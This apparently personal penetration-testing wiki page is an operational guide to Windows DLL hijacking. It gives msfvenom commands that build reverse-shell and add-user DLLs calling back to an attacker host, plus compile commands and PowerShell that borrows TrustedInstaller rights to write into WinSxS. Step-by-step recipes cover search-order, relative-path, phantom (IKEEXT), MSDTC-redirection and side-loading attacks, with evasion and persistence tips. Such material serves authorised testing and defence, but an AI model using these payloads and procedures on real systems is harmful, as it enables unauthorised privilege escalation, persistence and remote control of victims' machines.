DLL Hijacking

Dynamic link library (DLL) Hijacking involves manipulating a trusted application into loading a malicious DLL. It is used for defense evasion, persistence and privilege escalation.

Tools: PowerUp (Find-ProcessDLLHijack, Find-PathDLLHijack, Write-HijackDll), Sysinternals, Msfvenom, WinPEAS, Mingw-w64

Vulnerability description for reporting available in VulnDB (GitHub)

Table of Contents

MITRE ATT&CK Mapping

MITRE ATT&CK changed the DLL Hijacking techniques in v17. T1574.001 was renamed and T1574.002 was removed. From v16:

Mapping v17:

Controls

Safe DLL Search Mode

Safe DLL search mode (enabled by default) moves the user’s current folder later in the search order. To disable safe DLL search mode, create the registry value, and set it to 0:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

Check if Safe DLL Search Mode is enabled

SafeDllSearchMode does not show using “reg query”, even with cmd as Administrator.

Open regedit and look for:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

Disable it. YOU NEED TO RESTART.

reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode /t REG_DWORD /d 0 /f

KnownDLLs

If the DLL is listed in this registry key, DLL hijacking will not work. List Known DLLs:

reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
advapi32.dll    MSCTF.dll       SHELL32.dll
clbcatq.dll     MSVCRT.dll      SHLWAPI.dll
combase.dll     NORMALIZ.dll    user32.dll
COMDLG32.dll    NSI.dll         WLDAP32.dll
coml2.dll       ole32.dll       wow64cpu.dll
difxapi.dll     OLEAUT32.dll    wow64.dll
gdi32.dll       PSAPI.DLL       wow64win.dll
gdiplus.dll     rpcrt4.dll      wowarmhw.dll
IMAGEHLP.dll    sechost.dll     WS2_32.dll
IMM32.dll       Setupapi.dll    xtajit.dll
kernel32.dll    SHCORE.dll

Generate a DLL file

Msfvenom

Generate a DLL using Metasploit’s Msfvenom.

Some payloads do NOT work for DLLs.

msfvenom -l payloads
msfvenom -p <YOUR-PAYLOAD> --format dll --platform windows > myprecious.dll

EXITFUNC: ”, seh, thread, process, none

Common DLL-Compatible Payloads:

Common DLL-Compatible PayloadsDescription
windows/execRun custom command
windows/x64/execx64 version
windows/meterpreter/reverse_tcpStaged Meterpreter
windows/meterpreter/reverse_httpsEncrypted staged shell
windows/meterpreter_reverse_tcpStageless Meterpreter
windows/shell/reverse_tcpSimple revshell, WORKS!

Reverse shell

msfvenom -p windows/shell/reverse_tcp LHOST=${KALI_IP} LPORT=4444 -f dll -o reverse.dll
msfvenom -p windows/x64/shell/reverse_tcp LHOST=${KALI_IP} LPORT=4444 -f dll -o reverse.dll
msfvenom -p windows/meterpreter/reverse_https LHOST=${KALI_IP} LPORT=4444 EXITFUNC=process -f dll -o reverse-https.dll

Message Box

msfvenom -p windows/x64/messagebox ICON=INFORMATION TEXT="It works!" TITLE="Message" EXITFUNC=process --format dll --platform windows > messagebox.dll

Execute a command

msfvenom -p windows/x64/exec CMD="msg %username% It works!" EXITFUNC=process --format dll --platform windows > cmd.dll
msfvenom -p windows/exec CMD="C:\Windows\System32\calc.exe" -f dll -o calc.dll

Add a user

msfvenom -p windows/adduser USER=myprecious PASS=MyPrecious666! -f dll -o adduser.dll

Manually

See Windows DLL Hijacking (GitHub).

List functions to export from a legitimate DLL

A lot of executables will not load DLLs if procedures or entry points are missing. Export function names from the DLL file and ensure the compiled DLL follows the same format to maximise chances of being loaded successfully.

Adjust the function signatures using the documentation Programming reference for the Win32 API (Microsoft). Search for the function name and look at the appropriate header file, e.g. “winver.h”.

On Kali Linux, transfer the legitimate DLL file and execute export-dll-functions-stubs.py (Lisandre.com on GitHub). This generates the stub functions.

python3 export-dll-functions-stubs.py <filename>.dll > <filename>-stubs.txt
python3 export-dll-functions-stubs.py version.dll > version-stubs.txt
cat reverse.c version-stubs.txt > version.c

On Windows, use DLL Export Viewer (NirSoft) to enumerate all external function names and ordinals of the legitimate DLL.

Payloads

See PoC from Lisandre.com on GitHub.

messagebox.cpp

#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) {
 MessageBox(NULL, TEXT("DLL Hijacking"), TEXT("It works!"), 0);
 return 0;
}

messagebox.cpp – writes to command prompt instead of a window

#include <windows.h>
#include <stdio.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        printf("DLL Hijacking: It works!\n");
    }
    return TRUE;
}

messagebox_test.c

#include <windows.h>
#include <stdio.h>

int main() {
    HMODULE h = LoadLibraryA("messagebox.dll");
    if (!h) {
        printf("LoadLibrary failed: %lu\n", GetLastError());
    } else {
        printf("DLL loaded!\n");
    }
    return 0;
}

Compile the files. See Mingw-w64.

32-bit:

For binaries from C:\Windows\System32, compile in 32-bit.

i686-w64-mingw32-g++ -c messagebox.cpp
i686-w64-mingw32-g++ -static-libgcc -static-libstdc++ -shared -o messagebox.dll messagebox.o

i686-w64-mingw32-gcc messagebox_test.c -o messagebox_test.exe

64-bit:

x86_64-w64-mingw32-g++ -c messagebox.cpp
x86_64-w64-mingw32-g++ -static-libgcc -static-libstdc++ -shared -o messagebox.dll messagebox.o

x86_64-w64-mingw32-gcc messagebox_test.c -o messagebox_test.exe
x86_64-w64-mingw32-gcc -shared -o version.dll version-reverse.c -lws2_32 -fPIC
x86_64-w64-mingw32-gcc -shared -o version.dll reverse.c version.def -lws2_32 -fPIC

Find vulnerable applications

List running processes

wmic process > processes.txt
tasklist /FO CSV > tasks.txt

DLL Replacement Attacks

Attacker places or replaces a DLL to be loaded in place of a legitimate one.

Requires write access to system or application directories.

DLL Replacement / Substitution

Overwrite or replace the legitimate existing DLL with the generated DLL. Optionally, use a DLL Proxying to preserve the original DLL’s functionality.

Find DLLs loaded by a process:

  • Run Sysinternals Procmon/Procmon64.
  • Click on the filter icon (or menu Filter->Filter).
  • Add filters for:
    • “Path” + “ends with” + “.dll”
    • “Process Name” + “is” + “<process name>”

For all DLLs loaded by the process, find if you have write access on the path using icacls (Microsoft). (F=Full,M=Modify,W=Write)

icacls C:\<DLL path>

WinSxS DLL Replacement

During the installation of Windows components, updates, or software applications, files are systematically stored in the Windows Side-by-Side (WinSxS) directory. This directory acts as a centralized repository for system files (like DLLs) which are shared among various applications and components.

Replace or spoof DLLs in the Windows Side-by-Side (WinSxS) store to affect applications using side-by-side assemblies.

Replace the legitimate existing DLL with the generated DLL in the C:\Windows\WinSxS directory. Often done with DLL side-loading.

Write DLL in WinSxS

Administrators cannot write to WinSxS. Only TrustedInstaller has full control over the WinSxS folder.

Create a task that will run as TrustedInstaller. Open cmd as Administrator.

powershell
$a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/C copy /Y C:\Users\Public\myprecious.dll C:\Windows\WinSxS\myprecious.dll"
Register-ScheduledTask -TaskName 'myprecious' -Action $a

$svc = New-Object -ComObject 'Schedule.Service'
$svc.Connect()
$svc.GetFolder('\').GetTask('myprecious').RunEx($null, 0, 0, 'NT SERVICE\TrustedInstaller')

Unregister-ScheduledTask -TaskName 'myprecious' -Confirm:$false
# Cleanup, delete the DLL file
powershell
$a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/C del C:\Windows\WinSxS\myprecious.dll"
Register-ScheduledTask -TaskName 'myprecious' -Action $a

$svc = New-Object -ComObject 'Schedule.Service'
$svc.Connect()
$svc.GetFolder('\').GetTask('myprecious').RunEx($null, 0, 0, 'NT SERVICE\TrustedInstaller')

Unregister-ScheduledTask -TaskName 'myprecious' -Confirm:$false

Combined WinSxS + Search Order Hijacking + Phantom

Phantom DLL:

C:\Windows\WinSxS\amd64_netfx4-ngentask_exe_<VERSION> \mscorsvc.dll

The DLL search will look in the current working directory.

cd C:\Users\%USERNAME%
copy /y <somepath>\myprecious.dll mscorsvc.dll

Run ngentask.exe

C:\Windows\WinSxS\amd64_netfx4-ngentask_exe_<VERSION>\ngentask.exe
C:\Windows\WinSxS\amd64_netfx4-ngentask_exe_b03f5f7f11d50a3a_4.0.15805.0_none_d4039dd5692796db\ngentask.exe

Cleanup

del C:\Users\%USERNAME%\mscorsvc.dll
del C:\Windows\WinSxS\amd64_netfx4-ngentask_exe_b03f5f7f11d50a3a_4.0.15805.0_none_d4039dd5692796db\mscorsvc.dll

Search Order and Path Manipulation Attacks

Exploits how Windows resolves DLLs when the application does not explicitly define the full path.

DLL Search Order Hijacking

Move the generated DLL in a search path ahead of the legitimate existing DLL. Can be used to establish persistence, privilege escalation and/or evading restrictions on file execution.

Search order: directory from which the application is loaded, C:\Windows\System32, C:\Windows\System, C:\Windows, current working directory, system PATH environment variable, user PATH environment variable.

Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL.

certreq.exe

Be careful, certreq.exe will be executed after a reboot so the payload will be executed. Can be used for persistence.

Generate a DLL or download version.c (GitHub, Lisandre.com). Compile it.

x86_64-w64-mingw32-gcc -shared -o version.dll version.c

On Windows, copy the DLL file to a path ahead in the search order. Adjust the version number in the destination path if necessary.

copy /Y C:\Downloads\version.dll C:\Users\%USERNAME%\AppData\Local\Microsoft\OneDrive\25.051.00317.003\version.dll

Run certreq.exe

C:\Windows\System32\certreq.exe

Relative Path DLL Hijacking

Relative Path DLL Hijacking is a variation of the Search Order DLL Hijacking technique. The attacker writes (and typically renames) a legitimate executable file – alongside their malicious DLL – to a folder they have permissions to write to. This technique requires a legitimate executable that does not specify an absolute path for DLL files. If an absolute path is not specified, Windows will search for the DLL file following the predefined search order.

Move the generated DLL in a user-controlled directory with the copied application. In the “Bring Your Own LOLbin” variation, the the legitimate application is brought with the generated DLL instead of being copied from the victim’s machine.

It can be any vulnerable executable.

Nearly 300 executables in folder “C:\Windows\System32” are vulnerable to relative path DLL hijacking. See this post (BleepingComputer).

Copy the vulnerable executable to a user-writable directory.

Find which DLLs are loaded by the application from the user-writable directory:

  • Run Sysinternals Procmon/Procmon64.
  • Click on the filter icon (or menu Filter->Filter).
  • Add filters for:
    • “Path” + “ends with” + “.dll”
    • “Process Name” + “is” + “<process name>”
  • Look at the paths and take note of the DLLs loaded from the user-writable directory.

Copy or move the generated DLL to the same user-writable directory as the copied application. Rename it to a legitimate DLL previously found with Procmon.

copy C:\<somepath>\myprecious.dll C:\Users\%USERNAME%\Desktop\<some legitimate dll name>.dll

systeminfo.exe

Generate a DLL or download version.c (GitHub, Lisandre.com). Compile it.

x86_64-w64-mingw32-gcc -shared -o version.dll version.c

On Windows, copy the vulnerable application and DLL file to a user-writable path.

copy /Y C:\Windows\System32\systeminfo.exe C:\Users\%USERNAME%\Desktop\systeminfo.exe
copy /Y C:\Downloads\version.dll C:\Users\%USERNAME%\Desktop\version.dll

Run systeminfo.exe

cd C:\Users\%USERNAME%\Desktop
systeminfo.exe

Phantom DLL Hijacking

Move the generated DLL in place of a missing/non-existing DLL that a legitimate application tries to load.

Find missing DLLs:

  • Run Sysinternals Procmon/Procmon64.
  • Click on the filter icon (or menu Filter->Filter).
  • Add filters for:
    • “Result” + “is” + “NAME NOT FOUND”
    • “Path” + “ends with” + “.dll”
    • Optional: “Process Name” + “is” + “<process name>”
  • It is a phantom DLL is the result is “NAME NOT FOUND” and there is no result “SUCCESS” in other paths.

A privilege escalation is possible if any of those DLLs or the DLL search path is modifiable by non admin users.

copy C:\<generated DLL path> C:\<missing DLL path>
ApplicationDLL
mspaint.exeC:\Windows\System32\MFC42LOC.DLL
C:\Windows\System32\MFC42LOC.DLL.DLL

wlbsctrl.dll

File wlbsctrl.dll is a phantom DLL, meaning it normally does not exist.

Generate a DLL or download wlbsctrl.c (GitHub, Lisandre.com). Compile it.

x86_64-w64-mingw32-gcc -shared -o wlbsctrl.dll wlbsctrl.c

Open a cmd prompt as Administrator.

sc query IKEEXT
sc stop IKEEXT
copy C:\<generated DLL path> C:\Windows\System32\wlbsctrl.dll
sc start IKEEXT
# Cleanup
sc stop IKEEXT
del C:\Windows\System32\wlbsctrl.dll

DLL Redirection

Change the search parameters (location) in which the DLL is searched for.

Examples:

  • Edit the %PATH% environment variable
  • Edit the .exe.manifest/.exe.local files to include the folder containing the generated DLL

MSDTC service

The Windows service MSDTC attempts to load the missing DLL (Phantom DLL) “C:\windows\system32\oci.dll”. Writing a known phantom DLL to System32 could be detected, so use a DLL redirection as a more evasive method. Change the location that Windows checks when loading this DLL by modifying the following registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI\OracleOciLib

Default key value is “oci.dll”. Change it to something else, like “ociv2.dll”. Create DLL “C:\Windows\System32\ociv2.dll” and restart the MSDTC service.

DLL Side-Loading Attacks

DLL Side-Loading

Exploits trusted applications that intentionally load DLLs from their own directories.

A legitimate, signed app is designed to load DLLs from its own folder – the attacker places the generated DLL with the expected name.

Rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, the attacker may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).

It uses a signed/legit executable.

Reference